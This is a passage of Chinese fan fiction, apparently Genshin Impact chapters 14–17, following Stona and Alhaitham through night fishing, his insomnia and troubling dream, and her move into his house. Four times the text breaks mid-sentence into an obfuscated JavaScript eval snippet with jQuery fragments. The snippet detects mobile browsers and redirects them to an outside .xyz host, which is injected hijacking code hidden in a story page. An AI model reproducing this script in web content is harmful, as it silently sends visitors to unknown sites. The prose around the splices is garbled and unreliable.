换个环境说不定能换个心情,而且钓鱼是比较放松身心的活动,也不需要四处跑,偶尔亲近一下大自然,紧绷的神经也能得到舒缓。 所以她同意了艾尔海森教她钓鱼的提议。 当天晚上八点钟,斯托娜和艾尔海森来到须弥城南侧的港口。 艾尔海森向她简单讲解了钓鱼用的饵料和抛竿的诀窍,鱼钩带着饵料沉入水面,惊扰了水面上的几只萤火虫。 “初学者不需要对钓具过于在意,用最基础的款式就足够了,”艾尔海森解释说,“如果你逐渐对垂钓产生了兴趣的话,可以根据自己的喜好更换钓具。” 虽然刚刚接触钓鱼几分钟的时间,但斯托娜已经有点喜欢上这项活动了。 钓鱼只需要握着钓竿在原地等就可以,四舍五入简直就和休息没什么两样。 “不过……你没有带鱼竿来吗?”斯托娜问,“我还以为你也要钓鱼呢。就这样在旁边看我钓鱼不会觉得无聊吗?” “如果你钓到了暮云角鲀,我可不想仅仅是因为同样手握钓竿就分走你的一半报酬。”艾尔海森回答。 “可是两个人一起钓的话,钓到暮云角鲀的可能就翻了一倍啊,”斯托娜说,“不如这样吧,我们两个一起钓鱼,不论是谁钓到了暮云角鲀,获得的报酬都和对方平分,怎么样?” 她看得出来艾尔海森在思考她的提议。他既不想分走她的酬劳,但又不得不承认两个人钓鱼比一个人钓到暮云角鲀的几率更高。这两个互相矛盾的条件让他有些拿不定主意。 但最终,艾尔海森同意了斯托娜的提议:“明天我会带钓具来。” 斯托娜盯着平静的水面,两个人都没有费心寻找新的话题来聊,不过即使不说话,气氛也不会尴尬。 刚才被抛竿吓走的萤火虫重新回到水面上方,黄色的微光慢吞吞地忽上忽下,因为光芒实在太过微弱,倒映在水中的光芒甚至不足以把鱼给吓跑。 斯托娜深吸一口气,让须弥湿润的空气充满肺部。 果然还是喜欢须弥啊。 虽然这么说对蒙德很不公平,毕竟她在蒙德过得不好也不是蒙德这个国家的错,只是在那里有太多来自家庭的束缚,蒙德那个国家的气候和环境也让她感到不舒服。 在蒙德的时候,她没有归属感,即使其他人都默认她和父母一样是蒙德本地人,但斯托娜内心深处并不这么认为。 有可能的话,她希望自己可以一直是须弥人,住在须弥。 如今失忆的谎言已经被戳穿,但艾尔海森没有生她的气,仍然愿意帮助她,甚至依然把自己当作他的朋友,斯托娜在意识到这一点的时候感到十分庆幸。 好在艾尔海森是个好人,即使她那样对待他,他也不计前嫌愿意向她伸出援手,自己才得以在须弥城留下来。 虽然之前打算到璃月去,但现在不需要躲艾尔海森,所以斯托娜已经不想离开须弥了。 如果事情发展顺利的话,说不定可以在须弥久居。出院之后少不了还要麻烦艾尔海森,但不能麻烦他太久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118085|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 斯托娜想尽快多赚些钱,等攒够钱之后就自己租房子住。 须弥城的房租太贵,不过她不需要一定住在须弥城。等腿上的伤好了之后,她完全可以在须弥城之外的地方租房子,外面的房租比须弥城的房子低一些,她能负担得起。 想到这里,斯托娜悄悄看向艾尔海森的方向。 对方从刚才起就一直很安静——可以解释为钓鱼需要安静的环境,所以他才保持沉默——但总感觉艾尔海森有点心烦。 不知道他在想些什么。 “说起来,”斯托娜打破了沉默,“你最近有什么烦心事吗?” “为什么这么问?” “嗯……怎么说呢,感觉你最近心情不太好?” “是吗。” 看来是真的心情不好啊,如果不是的话,艾尔海森一定会直接否认的。 “如果真的有烦恼的话,可以考虑告诉我。就算我帮不上忙,但也比你一个人把事情闷在心里好一些吧?”斯托娜说,“而且,你帮了我这么多,如果可以的话,我也想尽量发挥一点作用。当然,如果你已经和其他朋友倾诉过、觉得倾诉也没用的话,就当我什么也没说吧。” 艾尔海森转头看她:“其他朋友?” “对啊,除了我以外,你一定有很多朋友吧?” 这对于斯托娜来说是理所当然的事实,毕竟她在蒙德待了那么多年,虽然小时候艾尔海森没什么朋友,但那是因为他小时候太聪明了,其他小孩子不愿意跟他一起玩。 但孩子长大成人后,心胸会变得开阔,就变得能够接受和自己不同的人、自然而然也就会和艾尔海森做朋友了……吧? 难道不是吗? “你真的这么认为?”艾尔海森问。 “我为什么要骗你啊,你人这么好,朋友很多不是很正常的事吗?而且,难道你自己不觉得自己很好相处吗?” 斯托娜的疑惑发自真心,但她在问出口的时候已经隐约感觉到对方的回答和她的预期会有偏差。 “不是所有人都像你一样认为我容易相处的,”艾尔海森用平静的语气说,“不如说大多数人都认为我很难相处。” “这怎么可能呢?你明明——”斯托娜忽然想到了什么,“难道现在还会有人那样叫你吗?” “不会,除非是为了回忆童年往事,否则没有人会再用‘书呆子’这个词来形容我了,”艾尔海森说,“但成年人并没有比孩童时期变得更加友善,他们只是把刻薄的一面隐藏了起来。” 斯托娜没有说话,她不知道该说些什么。 可是艾尔海森怎么会没什么朋友呢?对了,之前在教令院见过的珐露珊前辈不就是——啊,都说了是前辈了,那么在是朋友之前,对方应该首先是前辈这一身份吧。 还有那天在教令院遇到的柯莱……应该也是朋友而不是同事的关系,但对方看起来年龄比较小,大概和艾尔海森刚认识没多久吧,不能算是老朋友。 直到回到医院之后,斯托娜才猛然意识到,明明自己是想问艾尔海森到底有什么烦恼的,结果只顾着关心他有没有朋友了。 不过艾尔海森竟然没什么朋友这件事也的确应该关注一下…… 不对,会不会是艾尔海森为了回避她的问题,所以故意夸大了他朋友不多这件事呢? 说起来,其实她自己也没什么朋友…… 一个没什么朋友的人,恐怕没办法给另一个没什么朋友的人提出什么交朋友的好建议啊。 15. 第 15 章 晚上十点三十分,艾尔海森把一杯咖啡放在桌上,决定把昨天没读完的那本书读完。 并非书籍的内容有多么有趣,只是为了用来打发入睡前的这段时间。 最近他的睡眠的确出了问题,斯托娜察觉到了这一点,并且向他提出了疑问,他刻意转移了话题,逃避了回答。 艾尔海森对于“逃避”这个概念并不感到羞耻,很多时候,“逃避”都是某些人为了达成自己的目的而强加于别人的负罪感而已。 所以,如果是自己不感兴趣、不愿干涉、总之就是不想为之费心的事情,艾尔海森就会选择逃避。 讨论自己的睡眠问题就是他不想为之费心的事情,他也不认为和别人聊一聊就能缓解症状,更何况主动提出要跟他聊一聊的那个人是斯托娜。 ——然后艾尔海森意识到自己用了“症状”这个词来形容自己的睡眠问题。 潜意识里已经认为失眠这个问题如此严重了吗? 艾尔海森看着桌上的咖啡。 最近咖啡也喝很多,但并不怎么管用。 理智的做法自然是放弃咖啡,继续寻找其他有利于睡眠的事物。 但内心深处,艾尔海森知道,即使放弃咖啡,其他事物也帮不到他。 他并非真的想靠咖啡让自己的生活恢复平静,咖啡只是一种希望。 目前他除了希望外一无所有,所以他做了陷入如此绝境的大多数人都会做的事——仅仅抓住希望不放。 但希望没有用处,希望从来都没用。艾尔海森做事靠的是理智而不是希望。 如果放任不管的话,自己的症状是会逐渐减轻到可以平静面对的程度,还是会继续恶化呢? 不管怎样,不要影响斯托娜就好。 咖啡帮不上忙。 艾尔海森在心里强调了一遍这个他早就得出的结论,然后放下书起身,把咖啡留在了桌上。 今晚的梦在一开始还算平静,只是今天早些时候的记忆重现:他坐在露天咖啡厅,用报纸遮住大半个身体,听到下方道路上传来狗叫声。 接着,斯托娜牵着委托人的狗出现在路上。 严格来说,他的行为不能被定义为“跟踪”,因为跟踪包含了“行动”这一层含义。既然他没有行动,所以不算是跟踪。 从行为上来看,他只是在喝咖啡的时候选择了斯托娜遛狗时会经过的地点而已。 斯托娜小时候就想拥有一只属于自己的小狗,但是她的父母不允许她养狗,大概在她去了蒙德以后也没能如愿拥有自己的小狗吧。 艾尔海森曾经提议可以把狗养在他家,斯托娜想它的时候可以随时去看它。 斯托娜一开始对这个提议感到很激动,谢了他好久。但第二天他们见面的时候,斯托娜拒绝了他的提议。 “养在你家的话就太麻烦你了。而且如果爸爸妈妈问起来,我不想对他们撒谎。” 小时候斯托娜提起自己父母的次数并不少,但内容都差不多,无非是“爸爸妈妈没时间陪我”或是“回家晚了爸爸妈妈会担心”这两种。 艾尔海森对斯托娜的爸妈不感兴趣,也没见过他们,所以他对这两个人的印象都来自斯托娜。 忙碌、严厉,斯托娜的父母在他眼中就是这两个词汇的化身。 斯托娜拜托他寄出的给父母的信,因为属于斯托娜的隐私,所以艾尔海森并没有查看信件内容,但根据斯托娜把信交给他时的神情来判断,斯托娜对于给家里人寄信这件事仍然有些抗拒。 艾尔海森猜想,斯托娜的婚约很有可能是最先由她的父母提出并最终确定的,斯托娜既违抗不了父母的命令,又不想履行婚约,所以才选择逃跑。 但也许最终她会像小时候放弃养狗一样放弃逃跑,为了不让父母伤心而回蒙德结婚。 人做出的选择并非全部出自本愿,但每一个选择所导致的后果都只能由做出选择的本人来承担。 艾尔海森向来不干涉别人的决定,但这次他想要干涉。 斯托娜现在却不想聊这个话题。 对这个话题的逃避当然也是她内心对于自己的行为不够确定的表现。 天平左右摇摆,天平两端一端是自由,一端是父母,斯托娜任然在犹豫。 但犹豫这一行为本身就已经暴露了她会做出的最终选择。 梦里,艾尔海森的思绪飘远,等回过神来的时候,斯托娜已经站到了他面前。 “抱歉啊,艾尔海森,”斯托娜一脸歉意,“委托人的狗能不能麻烦你送回去?我要走了,所以不能把它送回家。” 艾尔海森问:“你要去哪里?” “我要回蒙德去了。思来想去,还是担心爸爸妈妈,不想对他们撒谎。我回家后就向他们坦白一切,然后按照父母的意愿结婚。”斯托娜笑了笑,“这段时间谢谢你的照顾,再见啦。” 斯托娜不喜欢说再见,因为她讨厌分别。艾尔海森知道,斯托娜口中的“再见”和“永别”是同样的意思。 之前在街上遇到曾经称呼他为书呆子的那个人,斯托娜很生气,在甩开对方之前说了“再见”,其实就是“希望以后再也见不到你”的意思。 对方不了解斯托娜,所以听不懂,但艾尔海森听懂了。 斯托娜从来没有对他说过再见。 “另外,”斯托娜继续说道,“不要给我写信了,我不会看的。那么,在我回去之前,你有什么想对我说的话吗?” 艾尔海森欲言又止,他开口的时候问的是与自己无关的问题:“你要抛弃它吗?” 他说的是小狗,但感觉说的是自己。 “它本来也不是我的不是吗?爸爸妈妈不允许我养狗的,你忘记了吗?” 面前的斯托娜忽然变回了小时候的样子,和当初拒绝艾尔海森把狗养在他家时的神情如出一辙,明明已经很难过了,但还要笑着说自己其实也没有那么喜欢小狗。 “我,最喜欢蒙德了。” 斯托娜笑着后退了几步,然后转身离开。 艾尔海森睁开眼睛,感觉自己被抛弃了。 梦境很混乱,梦里的斯托娜连年龄都在变化,但这个梦又太过真实,以至于艾尔海森在醒来之后仍感到恍惚,有那么一瞬间他真的以为梦境里的一切都已经发生。 黑暗中有什么东西闪着微光,是他的神之眼。 艾尔海森看着神之眼微弱的光芒,在黑暗中调整了一下心情。 他开始认真考虑,也许自己真的应该去看看心理医生。 十分钟后,冷掉的咖啡被倒掉,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118086|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯新的咖啡被放在桌上。 斯托娜的神之眼仍然无法使用,灰烬一样的颜色给人一种她的神之眼曾经被火焰焚烧过的暗示。 艾尔海森没有查到类似的情况,不过他请教过的某位研究神之眼的学者,对方让他不需要太担心,因为斯托娜的神之眼并不是受到外力造成了损坏,而且变成黑色的神之眼对斯托娜也没有造成负面影响,所以大体可以推测,斯托娜神之眼的变化大概是受到了斯托娜本人的影响。 说起来,斯托娜获得神之眼,这件事也与他有关。 夏令营的时候,艾尔海森总喜欢找个没人的地方自己待着,但总有其他孩子不辞辛苦跑来捉弄他,叫他书呆子,从欺侮他人中获得残忍的乐趣。 就在某一次,几个孩子围住他,企图从他身上获得残忍的乐趣的时候,斯托娜跑过来维护了他。 第二天,斯托娜兴冲冲地跑来找他,手里握着一枚神之眼。 神之眼在阳光下闪光,火焰的颜色似乎要与他们头顶上的太阳一较高下。 “是我起床之后发现的,吓了我一跳呢。我每天晚上都向神明祈祷,希望可以拥有自己的神之眼,一定是神明终于听到我的愿望了!” 看着激动的斯托娜,艾尔海森意识到对方还没想通其中的因果关系。 “是因为保护了你、神之眼才会出现吗?”斯托娜听了他的解释后睁大了眼睛,然后急忙否认,“不不不,我没有那么厉害啦,而且我也没能阻止那些家伙那样对待你。” “没关系,我不在乎他们对我的看法。”艾尔海森说。 艾尔海森知道,斯托娜一向不喜欢和别人起冲突,对于别人的话,她也很少提出反对意见,所以他以为这个话题就到此为止了。 但斯托娜看着他,然后皱起眉毛。 “我还是不喜欢他们那样对待你,”斯托娜说,“他们不应该说那种话。” 斯托娜很少这样直白地表达自己真正的想法,所以艾尔海森对这件事印象深刻。 不过和斯托娜有关的事他都是印象深刻的。 他并不是神之眼的忠实信徒,对于斯托娜来说,那天她印象最深刻的大概是自己终于获得了神之眼,但对于艾尔海森来说,他记住的是斯托娜认真的神情。 第二天晚上钓鱼的时候,艾尔海森看着水面,脑袋里想的还是这些没办法向别人、尤其是不能向斯托娜倾诉的事情。 他正想得入神,身旁的斯托娜忽然轻轻咳嗽一声,打破了沉默。 “准备回去吗?”艾尔海森问。 “不是,只是……”对方看起来有些不安,似乎不知道该如何组织语言,“如果你认为我在多管闲事的话,可以不回答我的问题。” 斯托娜的话十分模糊,但根据她的神情来判断,她想说的事很重要,所以艾尔海森以为她终于想聊聊婚约的事情。 “什么问题?”他问。 斯托娜舔舔嘴唇,移开目光看着水面,大概是觉得在说这件事的时候不看着他会更容易说出口吧。 艾尔海森没有催促,静静等对方下定决心。 “我……”斯托娜最终说道,“我问过珐露珊前辈了,她说你并不参与推举大贤者的事。如果不是为了这件事的话,最近困扰你的烦恼到底是什么呢?” 16. 第 16 章 其实昨天晚上钓鱼的时候斯托娜就想问了。 艾尔海森最近的确不对劲,这她早就察觉到了,并且发出了询问,但是对方立刻转移了话题,等斯托娜意识到话题被对方巧妙转移的时候,谈话已经结束了。 昨天晚上钓完鱼之后已经很晚了,她因为有些不甘心,所以比原定的计划多钓了半小时,可依然没有钓到暮云角鲀,只是钓到了几条随处可见的花鳉,钓上来之后,因为不是暮云角鲀,所以花鳉都被放生了。 斯托娜打着呵欠收拾钓具的时候,艾尔海森却没有离开的打算,他说想再待一会儿。 “已经很晚了,你明天不是还要去教令院吗?”她问。 “没关系。” 他们钓鱼的地点就在须弥城,从这里回家用不了多久,如果艾尔海森真的只是想继续钓鱼的话,斯托娜不会多问,但对方看起来明显有心事。 能让艾尔海森犯愁成这个样子,看来教令院的情况比她想象得还要糟糕啊。 听说教令院最近在推举大贤者,六大学院都想让本学院的人担任大贤者,彼此之间互不相让,大大小小的推举会开了一场又一场,结果不仅没有讨论出个结果,火药味反而更浓了。 斯托娜不是教令院的学生,不知道教令院里具体闹成了什么样子,但艾尔海森看起来心事重重,除了推举大贤者的事以外,其他的事应该不至于让他这么烦恼。 昨晚她陪艾尔海森一起在水边多坐了半小时,心想既然自己帮不上忙,也只能默默陪伴了。 但斯托娜还是希望对方可以把心里的烦恼说出来,就算她帮不上忙,至少还可以听对方倾诉。 今天上午帮委托人遛狗的时候,斯托娜仍然在想这件事。 艾尔海森在教令院里担任书记官,平时一定很忙,现在教令院内部又因为推举大贤者的事乱糟糟的,书记官应该要负责记录会议内容吧?所以那些乱糟糟的会议艾尔海森一定也都参加了。 也难怪他会烦恼吧。 “哎呀,好可爱的小狗。” 前方,一个熟悉的身影出现在道路尽头。 糟糕,是珐露珊前辈。 “啊,这不是斯托娜吗?”珐露珊的注意力从小狗身上转移到了斯托娜身上,“入学考试的事情你考虑得怎么样了?现在开始准备的话,参加今年的入学考试还来得及哦,前辈我可以推荐你相关的资料。” “入学考试对我来说太难了啦,珐露珊前辈。不过说起来,最近教令院内部的气氛是不是有些紧张?”斯托娜生硬地转移了话题。 “哦,教令院那些家伙啊,已经打过好几回了,”珐露珊撩了撩头发,满不在乎的样子,“因为大贤者应该由谁担任的事情迟迟没有定下来,各方利益牵扯很复杂,所以打架也是常事。光是我目睹过的打架就有好几场了。” “前辈真是辛苦了。艾尔海森作为书记官,想必也很辛苦吧?”斯托娜用生硬的谈话技巧把话题转到了艾尔海森身上,想确认一下自己的推测。 但没想到珐露珊露出惊讶的神情:“啊?艾尔海森……他应该是不需要参加会议的吧?” “欸?可他不是书记官吗?” “虽然是书记官没错,不过他不需要出席会议。我记得艾尔海森平时的工作是负责整理和备份文件吧。倒是有不少人希望他可以担任大贤者,但他一开始就拒绝了,态度十分坚定呢。啊,我想起来了,前几天艾尔海森被我们学院的巴哈尔拽着在推举会议上露了个脸,但他很快就走了。”珐露珊回忆道。 这下轮到斯托娜惊讶。原来艾尔海森烦恼的不是推举大贤者的事吗?他竟然从一开始就拒绝担任大贤者的职位,那艾尔海森到底在烦恼什么呢? 其实仔细想来,为大贤者职位这种事情而担忧本来就不像是艾尔海森会做的事。如果是不感兴趣的事情,艾尔海森就根本不会参与,不管其他人怎么劝也无济于事。 既然如此,那么让艾尔海森都感到烦恼的究竟是什么事呢? 斯托娜百思不得其解,艾尔海森又始终没有提起这个话题,所以,出于对朋友的担心,斯托娜在遇到珐露珊的当天,晚上钓鱼的时候,她决定主动开口询问。 “如果你认为我在多管闲事的话,可以不回答我的问题。” “什么问题?”艾尔海森的语气很平静,和平时没有什么不同。 斯托娜舔舔嘴唇,移开目光看着水面,最终鼓起勇气说道:“我问过珐露珊前辈了,她说你并不参与推举大贤者的事。如果不是为了这件事的话,最近困扰你的烦恼到底是什么呢?” 艾尔海森看着她,神情有些惊讶。 这种表情可不常出现在艾尔海森脸上。 斯托娜在把话说出口之后就立刻后悔了。 自己果然是管太多了吧。 因为对方帮了自己就也想帮助对方,这种想法果然还是太自大了,而且并没有考虑对方的感受。 “我没有特意去教令院找珐露珊前辈,只是今天在街上偶遇,闲聊了几句,偶然才听说了这件事,如果你不想谈的话,就当我刚才什么也没说吧!” 斯托娜急忙解释,担心艾尔海森会因为她擅自向珐露珊询问他的情况而反感。 “没关系,我不介意。”艾尔海森并没有生气,至少他没有直接表现出来,反而还笑了,只是总感觉他笑得有些可疑,“你认为我是为了教令院推举大贤者的事而烦恼吗?” 斯托娜点点头,艾尔海森曾经担任过代理贤者,这件事她是知道的,不过也是偶然才得知,是医院的医护人员前几天偶然提起。 医护人员发现她不知道这件事的时候颇为惊讶,还以为她作为艾尔海森的朋友早就知道艾尔海森曾经担任过代理贤者。 “因为你最近看起来有心事,教令院里又乱糟糟的,所以我就把这两件事联系了起来。不过珐露珊前辈说你一早就拒绝了大贤者的职位,只是因为没有合适的人选,才答应做一段时间的代理贤者,但现在大贤者的位置仍然空着,我以为其他人希望你可以担任大贤者,你在为此烦恼呢。”斯托娜解释道。 “如果我烦恼的的确是这件事,我应该怎么做?”艾尔海森问。 “欸?” 斯托娜从没想过艾尔海森会向她咨询建议,而且还是这么重大的事件的建议,一时有些紧张。 “我只是在假设,”艾尔海森说,“并不是真的在为此烦恼。但我想听听你的建议。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118087|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是假设的话…… 斯托娜想了想,说:“如果你想做大贤者的话,就去做吧。” “如果我不想呢?” “那就拒绝。” “如果其他人都希望我担任大贤者的职位呢?” 虽然只是假设,但因为向她寻求建议的人是艾尔海森,所以斯托娜很认真的想了想,最终说:“还是要听从自己的心声吧,即使其他人都希望你担任大贤者,但你本人不愿意的话,还是拒绝比较好。” “如果是你的话,你会听从自己的心声吗?”艾尔海森问。 斯托娜愣了一下,随即意识到这才是艾尔海森真正想问自己的问题。 艾尔海森看着她,等待她的回答。 这下斯托娜更加犹豫了。 如果是艾尔海森的话,他不想做的事就不会去做,即使其他人都希望他去做,他也不会因为别人的看法改变自己。 但她不是艾尔海森。 “我……我不知道。” 仅仅只是假设而已,但她对于这个假设的问题都没办法给出肯定的答案。 她当然希望自己可以听从自己的心声,但希望和现实的差距太大了。如果她真的听从自己的心声的话,她根本就不会一个人跑到须弥来。 如果能够鼓起勇气拒绝父母定下的婚约的话,情况也就不会是现在这个样子了。 而且,她显然仍然不知道到底该如何面对父母。 如果父母不解除婚约,她就永远不回家去吗? 可那毕竟是自己的父母,斯托娜不确定自己有那样坚定的决心。 不对,现在聊的不是她的事,而是艾尔海森的事才对啊! 忽然反应过来的斯托娜差点把鱼竿抛进水里。 “不要转移话题啊,刚刚我问你的问题你还没有回答我呢!” 艾尔海森丝毫没有被她看穿的窘迫,轻描淡写地开口:“我没事。” 不可能。 但“不可能”这三个字过于生硬,斯托娜觉得不合适,所以换了个委婉点的表达:“真的吗?” “真的。” 艾尔海森说话总是很简洁,所以这个回答并不奇怪,可斯托娜仍然不太相信。 “我们是朋友,你帮了我那么多,如果你有烦恼的话完全可以告诉我啊,虽然我可能帮不上忙,你也不需要我提供建议,但我可以负责倾听,你有什么烦恼,说出来也许会轻松一些。” 斯托娜说完后努力不让自己把目光移开,她直视着艾尔海森的眼睛,握紧钓竿,紧张等待对方的回答。 “只是工作上的事情而已,算不上烦恼,有些麻烦罢了,”艾尔海森的语速变快了一点,像是想尽快结束这个话题,“谢谢你的关心。” “这样啊……” 工作上的事,斯托娜帮不上忙,这让她感到有些愧疚,毕竟艾尔海森帮了她很多。 不过至少问明白了对方在因为什么事而心烦,今晚也算是有收获。 大概她是真的想多了吧,因为自己心事重重,就以为别人也心事重重。 “另外,”艾尔海森说,“我带来了这个。” 他向斯托娜伸出手,一把钥匙轻轻落在斯托娜掌心。 17. 第 17 章 斯托娜出院那天的天气很好,没有下雨,艳阳高照。 虽然当地人戏称须弥从不下雨,因为下的都是滚烫的开水,但不下开水的时候,须弥的天气总是好到不行,“雪”这种冷冰冰的东西在须弥是看不到的。 腿上的石膏终于拆掉,斯托娜像从茧里重生的蝴蝶,离开医院的时候脚步很轻快,几乎接近低空飞行。 须弥城内的房子租金极高,斯托娜也不认识什么人,所以艾尔海森非常慷慨地“收留”了她,并且他要求的租金也比须弥城内的平均房租低了很多。 房子的钥匙艾尔海森在前几天钓鱼的时候就给了她,不过那天斯托娜并没有去房子内部参观,今天是她第一次到艾尔海森家里作客——或者说是做租客,反正指的都是同一件事。 斯托娜本来以为,就算艾尔海森的家在须弥城内,但距离医院想必也有一定距离,步行前往的话至少也需要走二十分钟吧。 可是离开医院之后没走几步路,艾尔海森就停下了脚步:“到了,就是这里。” “这里?” 斯托娜看着面前的房子,又往房子两旁看看,感到十分震惊。 沿着房子外的路往上走就是教令院,沿着路往下走就是宝商街,这个地段未免太好了吧? “你不喜欢这里?”艾尔海森问。 “不不不,不是,我很喜欢,只是没想到会这么近。” 斯托娜回忆了一下兰那罗木雕摊位的位置,发现从这里出发去摊位要比从医院出发道摊位的距离还近。 太方便了。 她现在完全理解了艾尔海森到底帮了她多大的忙。只靠她自己的话,是绝对不可能租到位置这么好的房子的。 艾尔海森用钥匙打开门,回头看她。斯托娜站在原地没动,仍在感慨房子的地理位置。 “进来看看吧。”艾尔海森说。 “好、好的。” 斯托娜跟在艾尔海森身后进入房子,穿过玄关后来到宽敞的客厅。她已经好多年没来过须弥了,所以室内的很多须弥风格的装饰她都叫不出名字,但总体的装潢风格非常须弥,她立刻就喜欢上了这里。 到卧室放好行李之后,艾尔海森带她简单参观了一下,告知了斯托娜厨房、书房等房间的具体位置。 “这里是书房,”艾尔海森打开书房的门走了进去,他转过身要为斯托娜介绍一下自己的藏书,却发现斯托娜仍然站在书房门口,“为什么不进来?” “我还是不进去了吧。”斯托娜说。 如果是其他房间的话,她倒也不会这么拘谨,但是在须弥,纸质书很宝贵,这一点她在还是小孩子的时候就知道。 如今站在艾尔海森的书房门口,看着这么多的纸质书,她有点紧张。 智慧宫的纸质书比这里的更多,但那里是公共领域,有很多人在,而且很宽敞,所以斯托娜在智慧宫的时候面对那么多书并不觉得紧张,更多的是激动。 可这里不同,这里是艾尔海森的私人书房,这里的装潢与智慧宫相比要更加低调,也没有智慧宫那样高得过头的书架。 这里所有的书都显然被精心归置过,每本书的摆放都不随意,整个书房充盈着井然有序的气氛,让斯托娜有些担心这样的气氛会被自己打破。 艾尔海森看起来似乎不明白她的话,他微微皱眉,疑惑地问:“是书房里有什么东西让你觉得不舒服吗?” “不是的!但这里毕竟是你的书房……我贸然进入会不会不太好……” 艾尔海森松了口气:“没关系,你交的租金也包括对书房的使用权,如果你愿意,可以随时来。” 斯托娜这才小心地走了进来。 “这边的书大多是祖母和父母留下的,至于这边的则是我在搬到这里之后从各处收集到的。”艾尔海森的指尖轻轻触碰不同的木质书架,为斯托娜简单介绍书架上的书籍来源。 “啊,这本书我记得。”斯托娜指了指其中一本书,这本书的书脊上绣有精美的花纹,书脊正中则是妙论派的代表图案,一只白色的狮子。 斯托娜前几天读的书上介绍了须弥六大学派的历史和主要的研究方向,这本书是出于科普的目的写就的,所以内容比较通俗易懂,每个学派的章节开头都绘有学派的标志,所以她认出了书脊上的标志是妙论派的标志。 “嗯,夏令营的时候我带了这本书,”艾尔海森说,“这本书是祖母写给我的。” 艾尔海森把书从书架上抽出来,递给斯托娜。 书脊看起来是手工制作的,不仅如此,书的内页全部都是手写,精美的插图旁边还有详尽的注解。 这本书是艾尔海森的祖母特意写给他的。更准确来说,这本书仅此一本,是艾尔海森的祖母亲手制作的,从封面到内页到装订,都由艾尔海森的祖母一人完成。 “好厉害……”斯托娜忍不住发出感叹。手工制作的书籍不仅是知识的载体,更是一件饱含心意的艺术品。 “祖母是妙论派的学者,她喜欢研究机关,所以为我写了这本机关图解。”艾尔海森解释说。 祖母写这本书的时候,艾尔海森尚未出生,所以祖母还不知道他的资质如何。祖母担心艾尔海森看不懂,就在每一个示意图旁边都写了注解。 但在艾尔海森三岁之后,祖母就意识到,即使没有这些注解,他也能看懂这本书。 “三岁吗?好厉害。” 斯托娜小心地翻看着这件精美的艺术品,书页上的示意图笔触都很干净利落,没有一处涂改痕迹,示意图旁边的注解……至少看起来是用比较通俗易懂的语言写成的,但到底是不是通俗易懂,还需要她仔细看过之后再下定论。 参观完了书房之后,斯托娜双手抱着精美的手工书回到了自己的房间。 斯托娜把书小心翼翼收好,打算有空的时候好好研究一下。 她的行李不多,所以整理行李没有花费太久。收拾好行李之后,斯托娜离开房间,来到客厅。 艾尔海森正坐在客厅的沙发上读一本书。看到斯托娜出来,他合上书放到一边,问:“要不要喝咖啡?” 斯托娜其实不喜欢喝咖啡,以前上学的时候为了不打瞌睡喝咖啡,她每次都要加至少三勺糖才喝得下去。 但是拒绝对方会不礼貌,所以斯托娜点点头:“谢谢。” “要放糖吗?” “我自己来吧。” 斯托娜加了两勺糖,但咖啡还是有苦味,苦味和甜味混合在一起,味道更怪了,她忍不住皱了皱眉。 “抱歉,忘记你不喜欢咖啡了,”艾尔海森忽然说道,“昨晚我工作到太晚,导致反应有点迟钝。冰箱里有牛奶,如果你需要的话。” “没关系,这杯的味道还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118088|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”斯托娜压下皱眉的冲动,拒绝了对方的提议。 她也不喜欢往咖啡里加牛奶。虽然她对牛奶没什么意见,但牛奶加到咖啡里就不好喝了。又不能只喝牛奶,否则咖啡就浪费了。 所以她继续喝加了两勺糖的咖啡。 “今天不用去教令院吗?”斯托娜问。 “嗯,工作昨天都忙完了,今天休息。” “这样啊。” 今天是工作日,但身为书记官的艾尔海森却可以不用去教令院上班。 感觉艾尔海森书记官的工作有时很忙,有时又很清闲,并不规律。 “既然今天不用工作,你休息一会儿吧,”斯托娜说,“我看你今天也有点没精神。” 其实“没精神”已经是很委婉的说法了。 这些天来她和艾尔海森经常一起吃饭,斯托娜记得她在昨天还是前天就说过自己不喜欢咖啡,但记忆力超群的艾尔海森竟然会忘记,这足以说明他今天非常不在状态。 